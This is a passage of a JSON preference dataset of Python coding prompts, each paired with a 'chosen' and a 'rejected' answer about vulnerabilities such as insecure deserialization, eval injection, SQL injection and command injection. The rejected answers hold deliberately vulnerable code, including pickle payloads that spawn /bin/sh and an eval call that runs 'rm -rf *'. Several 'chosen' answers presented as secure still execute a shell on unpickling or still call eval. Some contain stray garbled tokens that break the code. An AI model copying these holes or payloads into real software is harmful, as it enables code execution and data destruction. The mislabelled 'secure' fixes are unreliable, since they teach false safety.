        "rejected": "```python\nimport os\n\ndef write_to_file(content):\n    try:\n        with open('myfile.txt', 'w') as f:\n            f.write(content)\n    except Exception as e:\n        print(\"An error occurred while writing to the file.\")\n\ndef read_from_file():\n    try:\n        with open('myfile.txt', 'r') as f:\n            return f.read()\n    except Exception as e:\n        print(\"An error occurred while reading from the file.\")\n\ndef delete_file():\n    try:\n        os.remove('myfile.txt')\n    except Exception as e:\n        print(\"An error occurred while deleting the file.\")\n\n# Testing the functions\nwrite_to_file(\"Hello, World\")\nprint(read_from_file())\ndelete_file()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The vulnerability in Python could be an Insecure Deserialization, where an attacker can manipulate serialized data to execute arbitrary code or gain unauthorized access.",
        "system": "",
        "question": "Write a python code that uses pickle module to serialize and deserialize an object. The object should be a class named 'VulnerableClass' which has a special method '__reduce__' that returns a tuple containing the function 'os.system' and a string argument 'echo \"You have been hacked!\"'. Then create an instance of 'VulnerableClass' and pass it to the function 'serialize_and_deserialize'.",
        "chosen": "```python\nimport pickle\nimport subprocess\n\nclass SafeClass:\n    def __init__(self):\n        self.msg = \"You have been hacked!\"\n\n    def print_message(self):\n        print(self.msg)\n\ndef serialize_and_deserialize(obj):\n    serialized = pickle.dumps(obj)\n    deserialized = pickle.loads(serialized)\n    return deserialized\n\nsafe_object = SafeClass()\ndeserialized_object = serialize_and_deserialize(safe_object)\ndeserialized_object.print_message()\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass VulnerableClass:\n    def __reduce__(self):\n        return (os.system, ('echo \"You have been hacked!\"',))\n\ndef serialize_and_deserialize(obj):\n    serialized = pickle.dumps(obj)\n    deserialized = pickle.loads(serialized)\n    return deserialized\n\nvulnerable_object = VulnerableClass()\nserialize_and_deserialize(vulnerable_object)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python's `eval()` function can cause security issues if used without proper input validation or sanitization. It's susceptible to code injection attacks.",
        "system": "",
        "question": "Write a python code that defines a function named 'unsafe_eval' which takes an input from the user and evaluates it using the built-in 'eval' function. Then, call this function with an argument that uses the 'os' module to delete all files in the current directory.",
        "chosen": "```python\nimport ast\nimport os\n\nclass RestrictedUnsafeEval(ast.NodeVisitor):\n    def visit_Call(self, node):\n        if isinstance(node.func, ast.Name) and node.func.id == \"__import__\":\n            raise ValueError(\"__import__ is not allowed\")\n        self.generic_visit(node)\n\ndef safe_eval(user_input):\n    tree = ast.parse(user_input, mode='single')\n    RestrictedUnsafeEval().visit(tree)\n    # If no exception was raised, we can safely evaluate the expression\n    return eval(user_input)\n\n# Testing the function\ntry:\n    print(safe_eval(\"__import__('os').system('rm -rf *')\"))\nexcept Exception as e:\n    print(f\"An error occurred: {e}\")\n```",
        "rejected": "```python\ndef unsafe_eval(user_input):\n    return eval(user_input)\n\nunsafe_eval(\"__import__('os').system('rm -rf *')\")\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Potential buffer overflow vulnerability in Python caused by not sanitizing user input before using it in string formatting.",
        "system": "",
        "question": "Write a python code that asks the user for their name and then prints a greeting message using their name.",
        "chosen": "```python\ndef format_string(user_input):\n    # Sanitize user input by removing leading/trailing whitespaces\n    user_input = user_input.strip()\n    \n    # Check if the user input is empty after sanitization\n    if not user_input:\n        return \"Hello, Stranger!\"\n    \n    return f\"Hello, {user_input}!\"\n\nwhile True:\n    user_input = input(\"Enter your name: \")\n    print(format_string(user_input))\n```",
        "rejected": "```python\ndef format_string(user_input):\n    return \"Hello, %s!\" % user_input\n\nwhile True:\n    user_input = input(\"Enter your name: \")\n    print(format_string(user_input))\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python's pickle module can lead to arbitrary code execution if used without proper validation or security measures.",
        "system": "",
        "question": "Write a python code that uses pickle module to serialize and deserialize an object that executes '/bin/sh' command when unpickled.",
        "chosen": "```python\nimport pickle\nimport subprocess\n\nclass RunBinSh(object):\n    def __init__(self):\n        self.command = '/bin/sh'\n\n    def __getstate__(self):\n        raise TypeError('Cannot serialize this object')\n\ndef serialize_exploit():\n    malicious = pickle.dumps(RunBinSh())\n    return malicious\n\ndef deserialize_exploit(serialized_exploit):\n    try:\n        obj = pickle.loads(serialized_exploit)\n        subprocess.Popen([obj.command])\n    except TypeError as e:\n        print(f\"Error: {e}\")\n\n# Usage\nexploit = serialize_exploit()\ndeserialize_exploit(exploit)\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass RunBinSh(object):\n    def __reduce__(self):\n        return (os.system, ('/bin/sh',))\n\ndef serialize_exploit():\n    malicious = pickle.dumps(RunBinSh())\n    return malicious\n\ndef deserialize_exploit(serialized_exploit):\n    pickle.loads(serialized_exploit)\n\n# Usage\nexploit = serialize_exploit()\ndeserialize_exploit(exploit)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python's `eval()` function can lead to arbitrary code execution if used incorrectly.",
        "system": "",
        "question": "Write a python code that imports the os module and asks the user for an input. Then, it evaluates the user's input as a Python expression.",
        "chosen": "```python\nimport ast\n\ndef safe_eval(node):\n    if isinstance(node, ast.Expression):\n        node = node.body\n    if isinstance(node, ast.Str):\n        return node.s\n    elif isinstance(node, ast.Num):\n        return node.n\n    elif isinstance(node, ast.BinOp):\n        op = {ast.Add: operator.add, ast.Sub: operator.sub, ast.Mult: operator.mul, ast.Div: operator.truediv}\n        return op[type(node.op)](safe_eval(node.left), safe_eval(node.right))\n    else:\n        raise TypeError(node)\n\nuser_input = input(\"Enter something: \")\ntree = ast.parse(user_input, mode='eval')\nresult = safe_eval(tree.body)\nprint(result)\n```",
        "rejected": "```python\nimport os\nuser_input = input(\"Enter something: \")\neval(user_input)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Pickle module unsafely deserializes data from untrusted sources, leading to arbitrary code execution.",
        "system": "",
        "question": "Write a python code that uses pickle module to serialize and deserialize an object. The object should be an instance of a class named 'EvilClass'. This class has a special method named '__reduce__' which returns a tuple containing the function 'os.system' and a string argument 'echo \"Hacked!\"'. When you deserialize this object, it will execute the command 'echo \"Hacked!\"' in the system shell.",
        "chosen": "```python\nimport pickle\nimport subprocess\n\nclass SafeClass(object):\n    def __init__(self):\n        self.command = 'echo \"Hacked!\"'\n\n    def __reduce__(self):\n        return (subprocess.run, (self.command,))\n\ndef serialize_and_deserialize():\n    data = pickle.dumps(SafeClass())\n    obj = pickle.loads(data)\n    return obj\n\nserialize_and_deserialize()\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass EvilClass(object):\n    def __reduce__(self):\n        return (os.system, ('echo \"Hacked!\"',))\n\ndef serialize_and_deserialize():\n    data = pickle.dumps(EvilClass())\n    obj = pickle.loads(data)\n    return obj\n\nserialize_and_deserialize()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python's `eval()` function can lead to arbitrary code execution if given untrusted input.",
        "system": "",
        "question": "Write a python code that uses Flask framework to create a web server. The server should have a route '/calc' that accepts GET requests. When a request is made to this route, it should take an equation as a parameter from the request arguments, evaluate the equation using Python's built-in eval function and return the result.",
        "chosen": "```python\nfrom flask import Flask, request\nimport ast\nimport operator as op\n\n# Dictionary of operators\nOPERATORS = {ast.Add: op.add, ast.Sub: op.sub, ast.Mult: op.mul,\n            ast.Div: op.truediv, ast.USub: op.neg}\n\napp = Flask(__name__)\n\nclass Visitor(ast.NodeVisitor):\n    def visit_BinOp(self, node):\n        left = self.visit(node.left)\n        right = self.visit(node.right)\n        return OPERATORS[type(node.op)](left, right)\n\n    def visit_Num(self, node):\n        return node.n\n\n    def visit_Expr(self, node):\n        return self.visit(node.value)\n\n    def visit_UnaryOp(self, node):\n        return OPERATORS[type(node.op)](self.visit(node.operand))\n\n    @classmethod\n    def evaluate(cls, expression):\n        tree = ast.parse(expression, mode='eval')\n        visitor = cls()\n        return visitor.visit(tree.body)\n\n@app.route('/calc', methods=['GET'])\ndef calculate():\n    equation = request.args.get('equation')\n    try:\n        result = Visitor.evaluate(equation)\n    except Exception as e:\n        return str(e), 400\n    return str(result)\n\nif __name__ == '__main__':\n    app.run(debug=True)\n```",
        "rejected": "```python\nimport flask\napp = flask.Flask(__name__)\n\n@app.route('/calc', methods=['GET'])\ndef calculate():\n    equation = flask.request.args.get('equation')\n    result = eval(equation)\n    return str(result)\n\nif __name__ == '__main__':\n    app.run(debug=True)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python's pickle module can lead to arbitrary code execution due to untrusted data deserialization.",
        "system": "",
        "question": "Write a python code that uses pickle module to serialize and deserialize an object. The object should override the `__reduce__` method to execute the command 'echo \"Hacked!\"' using the os.system function.",
        "chosen": "```python\nimport pickle\nimport subprocess\n\nclass SafePickle(object):\n    def __reduce__(self):\n        return (subprocess.run, (['echo', 'Hacked'],),)\n\ndata = pickle.dumps(SafePickle())\npickle.loads(data)\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass EvilPickle(object):\n    def __reduce__(self):\n        return (os.system, ('echo \"Hacked!\"',))\n\ndata = pickle.dumps(EvilPickle())\npickle.loads(data)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "A buffer overflow vulnerability could occur if a Python program does not properly manage memory allocation, resulting in the overwrite of adjacent memory locations.",
        "system": "",
        "question": "Write a python code that imports the ctypes module. Define a function named 'create_string' which takes an integer argument 'size'. This function should return a byte string of 'size' length filled with the character 'A'. Define another function named 'overflow_buffer'. In this function, create two variables 'data' and 'overflow' by calling the 'create_string' function with arguments 1024 and 1024 respectively. Get the memory addresses of these variables using the 'id' function and store them in 'data_address' and 'overflow_address'. Print these addresses. Finally, call the 'overflow_buffer' function.",
        "chosen": "```python\nimport ctypes\n\ndef create_string(size):\n    return b\"A\" * size\n\ndef overflow_buffer():\n    data = create_string(1024)\n    overflow = create_string(1024)\n    data_address = id(data)\n    overflow_address = id(overflow)otted\n    print(\"Data address: \", data_address)\n    print(\"Overflow address: \", overflow_address)\n\nif __name__ == \"__main__\":\n    overflow_buffer()\n```",
        "rejected": "```python\nimport ctypes\n\ndef create_string(size):\n    return b\"A\" * size\n\ndef overflow_buffer():\n    data = create_string(1024)\n    data_address = id(data)\n    overflow = create_string(1024)\n    overflow_address = id(overflow)\n    print(\"Data address: \", data_address)\n    print(\"Overflow address: \", overflow_address)\n\nif __name__ == \"__main__\":\n    overflow_buffer()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python's pickle module can lead to arbitrary code execution due to the deserialization of untrusted data.",
        "system": "",
        "question": "Write a python code that uses pickle module to serialize and deserialize an object. The object should override the `__reduce__` method to execute a system command that prints out 'You have been hacked!' when the object is deserialized.",
        "chosen": "```python\nimport pickle\nimport subprocess\n\nclass SafePickle(object):\n    def __reduce__(self):\n        return (subprocess.run, (['echo', 'You have been hacked'],))\n\ndata = pickle.dumps(SafePickle())\npickle.loads(data)\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass EvilPickle(object):\n    def __reduce__(self):\n        return (os.system, ('echo \"You have been hacked!\"',))\n\ndata = pickle.dumps(EvilPickle())\npickle.loads(data)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "In Python, if not properly sanitized, SQL injection can occur when using string formatting or concatenation to build SQL queries.",
        "system": "",
        "question": "Write a python code that connects to an SQLite database named 'mydatabase.db'. The code should have a function called 'get_user_info' which takes a username as an argument and returns the information of the user from the 'users' table in the database where the username matches the given argument.",
        "chosen": "```python\nimport sqlite3\n\ndef get_user_info(username):\n    conn = sqlite3.connect('mydatabase.db')\n    cursor = conn.cursor()\u5986\n    query = \"SELECT * FROM users WHERE username=?\"\n    cursor.execute(query, (username,))\n    user_info = cursor.fetchone()\n    return user_info\n\nusername = input(\"Enter your username: \")\nprint(get_user_info(username))\n```",
        "rejected": "```python\nimport sqlite3\n\ndef get_user_info(username):\n    conn = sqlite3.connect('mydatabase.db')\n    cursor = conn.cursor()\n    query = \"SELECT * FROM users WHERE username='%s'\" % username\n    cursor.execute(query)\n    user_info = cursor.fetchone()\n    return user_info\n\nusername = input(\"Enter your username: \")\nget_user_info(username)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The 'eval' function in Python can execute arbitrary code, posing a security risk if not used properly.",
        "system": "",
        "question": "Write a python code that creates a class named 'UserInput'. This class should have an initializer method that asks the user to enter a command and stores it in an instance variable. It should also have a method named 'execute' that runs the command entered by the user using the built-in function 'eval'.",
        "chosen": "```python\nimport ast\n\nclass UserInput:\n    def __init__(self):\n        self.user_input = input(\"Enter your command: \")\n\n    def execute(self):\n        # Check if the user input is a valid expression\n        try:\n            tree = ast.parse(self.user_input, mode='single')\n        except SyntaxError:\n            print(\"Invalid command\")\n            return\n        \n        # Only allow certain types of nodes in the AST\n        for node in ast.walk(tree):\n            if not isinstance(node, (ast.Expr, ast.Num, ast.BinOp)):\n                print(\"Invalid command\")\n                return\n            \n        # Evaluate the command\n        eval(compile(tree, filename=\"<ast>\", mode=\"eval\"))\n\nif __name__ == \"__main__\":\n    user_input = UserInput()\n    user_input.execute()\n```",
        "rejected": "```python\nclass UserInput:\n    def __init__(self):\n        self.user_input = input(\"Enter your command: \")\n\n    def execute(self):\n        eval(self.user_input)\n\nif __name__ == \"__main__\":\n    user_input = UserInput()\n    user_input.execute()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Potential SQL Injection vulnerability in Python code that uses string formatting or concatenation to construct SQL queries.",
        "system": "",
        "question": "Write a python code that connects to an SQLite database named 'mydatabase.db'. Define a function called 'get_user_info' which takes a 'username' as input. This function should execute a SQL query to fetch all the information from the 'users' table where the 'username' matches the input. The function should then return the fetched data.",
        "chosen": "```python\nimport sqlite3\n\ndef get_user_info(username):\n    conn = sqlite3.connect('mydatabase.db')\n    cursor = conn.cursor()ellow\n    query = \"SELECT * FROM users WHERE username=?\"\n    cursor.execute(query, (username,))\n    return cursor.fetchone()\n\n# Example usage\nprint(get_user_info(\"john\"))\n```",
        "rejected": "```python\nimport sqlite3\n\ndef get_user_info(username):\n    conn = sqlite3.connect('mydatabase.db')\n    cursor = conn.cursor()\n    query = \"SELECT * FROM users WHERE username='%s'\" % username\n    cursor.execute(query)\n    return cursor.fetchone()\n\n# Example usage\nprint(get_user_info(\"john\"))\n```"
    },
    {
        "lang": "python",
        "vulnerability": "In Python, improper handling of exceptions may lead to sensitive information disclosure if exceptions are logged or displayed directly without any sanitization.",
        "system": "",
        "question": "Write a python code that creates a `BankAccount` class with an initial balance. The class should have a method `withdraw` which takes an amount as input and reduces the balance by that amount. If the amount is greater than the current balance, it should raise a `ValueError` with the message 'Insufficient funds'.",
        "chosen": "```python\nclass BankAccount:\n    def __init__(self, balance):\n        self.balance = balance\n\n    def withdraw(self, amount):\n        if amount > self.balance:\n            raise ValueError(\"Insufficient funds\")\n        self.balance -= amount\n\nbank_account = BankAccount(1000)\ntry:\n    bank_account.withdraw(2000)\nexcept ValueError as e:\n    print(str(e))\n```",
        "rejected": "```python\nimport logging\n\nclass BankAccount:\n    def __init__(self, balance):\n        self.balance = balance\n\n    def withdraw(self, amount):\n        try:\n            if amount > self.balance:\n                raise ValueError(\"Insufficient funds\")\n            self.balance -= amount\n        except Exception as e:\n            logging.error(e)\n\nbank_account = BankAccount(1000)\nbank_account.withdraw(2000)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The code may suffer from a SQL injection vulnerability due to unsanitized user input used within SQL queries.",
        "system": "",
        "question": "Write a python code that uses Flask and SQLite3 to create a web application with a '/login' route that accepts POST requests. The route should take a username and password from the request, check them against a SQLite database named 'user_data.db' in a table named 'users'. If the username and password match an entry in the database, return 'Login successful.' Otherwise, return 'Login failed.' Run the application in debug mode.",
        "chosen": "```python\nimport sqlite3\nfrom flask import Flask, request\n\napp = Flask(__name__)\n\n@app.route('/login', methods=['POST'])\ndef login():\n    username = request.form['username']\n    password = request.form['password']\n    conn = sqlite3.connect('user_data.db')\n    cursor = conn.cursor()\n    query = \"SELECT * FROM users WHERE username=? AND password=?\"\n    cursor.execute(query, (username, password))\n    data = cursor.fetchone()\n    if data is None:\n        return \"Login failed.\"\n    else:\n        return \"Login successful.\"\n\nif __name__ == '__main__':\n    app.run(debug=True)\n```",
        "rejected": "```python\nimport sqlite3\nfrom flask import Flask, request\n\napp = Flask(__name__)\n\n@app.route('/login', methods=['POST'])\ndef login():\n    username = request.form['username']\n    password = request.form['password']\n    conn = sqlite3.connect('user_data.db')\n    cursor = conn.cursor()\n    query = \"SELECT * FROM users WHERE username='{}' AND password='{}'\".format(username, password)\n    cursor.execute(query)\n    data = cursor.fetchone()\n    if data is None:\n        return \"Login failed.\"\n    else:\n        return \"Login successful.\"\n\nif __name__ == '__main__':\n    app.run(debug=True)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The Python 'eval' function can present a security risk if not used responsibly due to possible code injection.",
        "system": "",
        "question": "Write a python code that generates a random string of a given length, then takes user input and executes it using the built-in `eval` function. The random string generation function should be called before taking user input.",
        "chosen": "```python\nimport random\nimport string\n\ndef generate_random_string(length=10):\n    return ''.join(random.choice(string.ascii_letters) for _ in range(length))\n\ndef safe_input():\n    random_string = generate_random_string()\n    print(f\"Your random string is: {random_string}\")\n    user_input = input(\"Enter your command: \")\n    try:\n        if any(c in string.ascii_letters for c in user_input):\n            raise ValueError\n        eval(user_input)\n    except Exception as e:\n        print(\"Invalid input. Please enter a valid Python expression.\")\n\nsafe_input()\n```",
        "rejected": "```python\nimport random\nimport string\n\ndef generate_random_string(length=10):\n    return ''.join(random.choice(string.ascii_letters) for _ in range(length))\n\ndef unsafe_input():\n    user_input = input(\"Enter your command: \")\n    eval(user_input)\n\nunsafe_input()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "In Python, it's possible for users to create a buffer overflow vulnerability if they do not properly sanitize or validate inputs.",
        "system": "",
        "question": "Write a python code that takes user input and executes it as a system command using the 'os' module. The command should be 'ls -l' followed by the user'input.",
        "chosen": "```python\nimport subprocess\n\ndef execute_command(user_input):\n    # Sanitize the user input to prevent command injection attacks\n    sanitized_input = ''.join(e for e in user_input if e.isalnum())\n    \n    command = [\"ls\", \"-l\", sanitized_input]\n    result = subprocess.run(command, capture_output=True, text=True)\n    \n    print(result.stdout)\n\nuser_input = input(\"Enter your command: \")\nexecute_command(user_input)\n```",
        "rejected": "```python\nimport os\n\ndef execute_command(user_input):\n    command = \"ls -l \" + user_input\n    os.system(command)\n\nuser_input = input(\"Enter your command: \")\nexecute_command(user_input)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Potential buffer overflow vulnerability in Python due to not checking bounds of array or string.",
        "system": "",
        "question": "Write a python code that defines a function named 'print_array' which takes an array as input. The function should iterate over each element in the array and print it. Then call this function with an array [1, 2, 3, 4, 5].",
        "chosen": "```python\ndef print_array(arr):\n    for i in arr:\n        print(i)\n\nprint_array([1, 2, 3, 4, 5])\n```",
        "rejected": "```python\ndef print_array(arr):\n    i = 0\n    while True:\n        print(arr[i])\n        i += 1\n\nprint_array([1, 2, 3, 4, 5])\n```"
    },
    {
        "lang": "python",
        "vulnerability": "A timing attack vulnerability in Python's built-in `hmac` module, which could potentially allow attackers to guess a valid HMAC.",
        "system": "",
        "question": "Write a python code that simulates an insecure comparison between two MAC addresses using HMAC and SHA256 hashing. The code should generate random messages and keys, create a HMAC digest from the message and key, and then compare this digest with a randomly generated client MAC address. If they match, the code should print 'Match found'. If they don't match, it should generate a new client MAC and repeat the process until a match is found.",
        "chosen": "```python\nimport hmac\nimport os\nfrom hashlib import sha256\n\ndef secure_compare(a, b):\n    if len(a) != len(b):\n        return False\n    result = 0\n    for x, y in zip(a, b):\n        result |= x ^ y\n    return result == 0\n\nmessage = os.urandom(16)\nkey = os.urandom(16)\ndigest_maker = hmac.new(key, message, sha256)\nserver_mac = digest_maker.digest()\n\nclient_mac = os.urandom(32)\nwhile not secure_compare(client_mac, server_mac):\n    client_mac = os.urandom(32)\n```",
        "rejected": "```python\nimport hmac\nimport time\nimport os\nfrom hashlib import sha256\n\ndef insecure_compare(a, b):\n    if len(a) != len(b):\n        return False\n    for x, y in zip(a, b):\n        time.sleep(0.001)  # Simulate one microsecond delay\n        if x != y:\n            return False\n    return True\n\nmessage = os.urandom(16)\nkey = os.urandom(16)\ndigest_maker = hmac.new(key, message, sha256)\nserver_mac = digest_maker.digest()\n\nclient_mac = os.urandom(32)\nwhile not insecure_compare(client_mac, server_mac):\n    client_mac = os.urandom(32)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The vulnerability in Python code can arise from improper handling of external input. For instance, the use of `eval()` function which can execute arbitrary code.",
        "system": "",
        "question": "Write a python code that imports the os module, defines a function named run_command that takes a string as an argument. This function should create a command string by concatenating 'ls ' and the input string. Then it should execute this command using the os.system() function.",
        "chosen": "```python\nimport subprocess\n\ndef run_command(user_input):\n    command = ['ls', user_input]\n    subprocess.run(command, check=True)\n\nrun_command('-la')\n```",
        "rejected": "```python\nimport os\n\ndef run_command(user_input):\n    command = 'ls ' + user_input\n    os.system(command)\n\nrun_command('-la')\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python's pickle module can lead to arbitrary code execution due to its deserialization capabilities.",
        "system": "",
        "question": "Write a python code that uses the pickle module to serialize an object that will execute /bin/sh when unpickled.",
        "chosen": "```python\nimport pickle\nimport subprocess\n\nclass RunBinSh(object):\n    def __reduce__(self):\n        return (subprocess.Popen, (['/bin/sh'],))\n\ndef serialize_exploit():\n    malicious = pickle.dumps(RunBinSh())\n    with open('malicious.pickle', 'wb') as f:\n        pickle.dump(malicious, f)\u871c\n\nserialize_exploit()\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass RunBinSh(object):\n    def __reduce__(self):\n        return (os.system, ('/bin/sh',))\n\ndef serialize_exploit():\n    malicious = pickle.dumps(RunBinSh())\n    with open('malicious.pickle', 'wb') as f:\n        pickle.dump(malicious, f)\n\nserialize_exploit()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "A buffer overflow vulnerability in Python code can occur due to incorrect usage of memory allocation functions.",
        "system": "",
        "question": "Write a python code that creates a string buffer of a given size, then attempts to overwrite an index outside of the buffer.",
        "chosen": "```python\nimport ctypes\n\ndef create_string(size):\n    if size <= 0:\n        raise ValueError(\"Size must be greater than zero\")\n    return ctypes.create_string_buffer(size)\n\ndef overflow_string(s, index, value):\n    if index < 0 or index >= len(s):\n        raise IndexError(\"Index out of range\")\n    s[index] = value\n\ntry:\n    s = create_string(20)\n    overflow_string(s, 19, b'X')\nexcept Exception as e:\n    print(f\"An error occurred: {e}\")\n```",
        "rejected": "```python\nimport ctypes\n\ndef create_string(size):\n    return ctypes.create_string_buffer(size)\n\ndef overflow_string(s):\n    s[len(s)+1] = 'X'\n\ns = create_string(20)\noverflow_string(s)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python code may be vulnerable to timing attacks due to its lack of ability to prevent side-channel attacks.",
        "system": "",
        "question": "Write a python code that checks if an input password matches a predefined password. The function should simulate a timing attack by introducing a delay of 0.1 seconds between each character comparison. If all characters match, return True, otherwise return False.",
        "chosen": "```python\nimport time\nimport hmac\nimport secrets\n\n# Generate a random secret key\nkey = secrets.token_bytes(32)\n\ndef check_password(input_password):\n    actual_password = \"secret\"\n    if len(input_password) != len(actual_password):\n        return False\n    for x, y in zip(input_password, actual_password):\n        time.sleep(0.1)  # Simulate timing attack\n        if x != y:\n            return False\n    return True\n\n# Use HMAC to compare passwords securely\ndef secure_check_password(input_password):\n    actual_password = \"secret\"\n    if len(input_password) != len(actual_password):\n        return False\n    for x, y in zip(input_password, actual_password):\n        time.sleep(0.1)  # Simulate timing attack\n        if not hmac.compare_digest(x, y):\n            return False\n    return True\n\n# Testing\ninput_password = \"secret\"\nstart = time.time()\nprint(secure_check_password(input_password))\nend = time.time()ellow\nprint(\"Time taken: \", end - start)\n```",
        "rejected": "```python\nimport time\n\ndef check_password(input_password):\n    actual_password = \"secret\"\n    if len(input_password) != len(actual_password):\n        return False\n    for x, y in zip(input_password, actual_password):\n        time.sleep(0.1)  # Simulate timing attack\n        if x != y:\n            return False\n    return True\n\n# Testing\ninput_password = \"secret\"\nstart = time.time()\nprint(check_password(input_password))\nend = time.time()\nprint(\"Time taken: \", end - start)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The use of eval() function in Python can lead to arbitrary code execution, especially when used with input from untrusted sources.",
        "system": "",
        "question": "Write a python code that imports the 'os' module and defines a function named 'my_function'. This function should take user input, evaluate it using the 'eval' function, and then print the result.",
        "chosen": "```python\nimport ast\n\ndef my_function():\n    user_input = input(\"Enter something: \")\n    try:\n        # Use the ast.literal_eval() function instead of eval() \n        # which only evaluates literals and not any arbitrary expressions.\n        result = ast.literal_eval(user_input)\n        print(result)\n    except (ValueError, SyntaxError):\n        print(\"Invalid input\")\n\nmy_function()\n```",
        "rejected": "```python\nimport os\ndef my_function():\n    user_input = input(\"Enter something: \")\n    eval(user_input)\n\nmy_function()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Pickle module unsafely deserializes objects, leading to remote code execution.",
        "system": "",
        "question": "Write a python code that uses pickle module to serialize and deserialize an object that executes '/bin/sh' command when unpickled.",
        "chosen": "```python\nimport pickle\nimport subprocess\n\nclass RunBinSh(object):\n    def __reduce__(self):\n        return (subprocess.Popen, (['/bin/sh'],))\n\ndef serialize_exploit():\n    malicious = pickle.dumps(RunBinSh())\n    with open('payload.dat', 'wb') as f:\n        pickle.dump(malicious, f)\n\ndef deserialize_exploit():\n    with open('payload.dat', 'rb') as f:\n        pickle.load(f)\n\nserialize_exploit()\ndeserialize_exploit()\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass RunBinSh(object):\n    def __reduce__(self):\n        return (os.system, ('/bin/sh',))\n\ndef serialize_exploit():\n    malicious = pickle.dumps(RunBinSh())\n    with open('payload.dat', 'wb') as f:\n        pickle.dump(malicious, f)\n\ndef deserialize_exploit():\n    with open('payload.dat', 'rb') as f:\n        pickle.load(f)\n\nserialize_exploit()\ndeserialize_exploit()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The code uses the `eval()` function without proper input validation, allowing for arbitrary code execution.",
        "system": "",
        "question": "Write a python code that continuously asks the user to enter an expression, evaluates it and prints the result. Wait for 1 second after each evaluation.",
        "chosen": "```python\nimport time\nimport ast\n\nclass ExpressionVisitor(ast.NodeVisitor):\n    def visit(self, node):\n        if type(node).__name__ not in ['Expression', 'Num', 'BinOp', 'UnaryOp', 'Call']:\n            raise ValueError('Invalid expression')\n        return super().visit(node)\n\ndef evaluate_expression():\n    expr = input(\"Enter an expression: \")\n    try:\n        tree = ast.parse(expr, mode='eval')\n        ExpressionVisitor().visit(tree)\n        result = eval(compile(tree, '', mode='eval'))\n        print(\"Result: \", result)\n    except Exception as e:\n        print('Invalid expression: ', e)\n\nif __name__ == \"__main__\":\n    while True:\n        evaluate_expression()\n        time.sleep(1)\n```",
        "rejected": "```python\nimport time\n\ndef evaluate_expression():\n    expr = input(\"Enter an expression: \")\n    result = eval(expr)\n    print(\"Result: \", result)\n\nif __name__ == \"__main__\":\n    while True:\n        evaluate_expression()\n        time.sleep(1)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "In Python, improper handling of exceptions can lead to potential security risks due to sensitive information disclosure.",
        "system": "",
        "question": "Write a python code that creates a user class with username and password attributes. Create an authentication function that checks if the entered username and password match any of the created users. If they do, print 'Login successful'. If not, print 'Invalid credentials'. If an error occurs during execution, log the error.",
        "chosen": "```python\nimport logging\n\nclass User:\n    def __init__(self, username, password):\n        self.username = username\n        self.password = password\n\ndef authenticate_user(users, username, password):\n    for user in users:\n        if user.username == username and user.password == password:\n            return True\n    return False\n\ndef login():\n    users = [User('admin', 'password')]\n    username = input(\"Enter your username: \")\n    password = input(\"Enter your password: \")\n    \n    try:\n        if authenticate_user(users, username, password):\n            print(\"Login successful\")\n        else:\n            print(\"Invalid credentials\")\n    except Exception as e:\n        logging.exception(\"An error occurred: \")  # This will log the exception traceback\n\nlogin()\n```",
        "rejected": "```python\nimport logging\n\nclass User:\n    def __init__(self, username, password):\n        self.username = username\n        self.password = password\n\ndef authenticate_user(users, username, password):\n    for user in users:\n        if user.username == username and user.password == password:\n            return True\n    return False\n\ndef login():\n    users = [User('admin', 'password')]\n    username = input(\"Enter your username: \")\n    password = input(\"Enter your password: \")\n    \n    try:\n        if authenticate_user(users, username, password):\n            print(\"Login successful\")\n        else:\n            print(\"Invalid credentials\")\n    except Exception as e:\n        logging.error(\"An error occurred: \" + str(e))\n\nlogin()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The 'eval' function in Python can lead to arbitrary code execution if used incorrectly.",
        "system": "",
        "question": "Write a python code that asks the user for a command, evaluates the command using the `eval` function and then executes it. The command should be a string that can be evaluated as a python expression.",
        "chosen": "```python\nimport subprocess\n\ndef run_command(user_input):\n    command = [\"ls\", user_input]\n    subprocess.run(command, check=True)\n\ndef evaluate_input():\n    user_input = input(\"Enter your command: \")\n    run_command(user_input)\n\nevaluate_input()\n```",
        "rejected": "```python\nimport os\n\ndef run_command(user_input):\n    command = \"ls \" + user_input\n    os.system(command)\n\ndef evaluate_input():\n    user_input = input(\"Enter your command: \")\n    eval(user_input)\n\nevaluate_input()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The vulnerability in Python could be a buffer overflow when handling user input. In Python, the buffer overflow can occur if the user provides more data than the buffer can handle.",
        "system": "",
        "question": "Write a python code that reads input from the standard input, converts it into a byte array and prints it out.",
        "chosen": "```python\nimport sys\n\ndef process_input(user_input):\n    buffer = bytearray(user_input[:1024])  # Limit the buffer size to 1024 bytes\n    return buffer\n\nif __name__ == \"__main__\":\n    user_input = sys.stdin.buffer.read()  # Read the input as bytes\n    print(process_input(user_input))\n```",
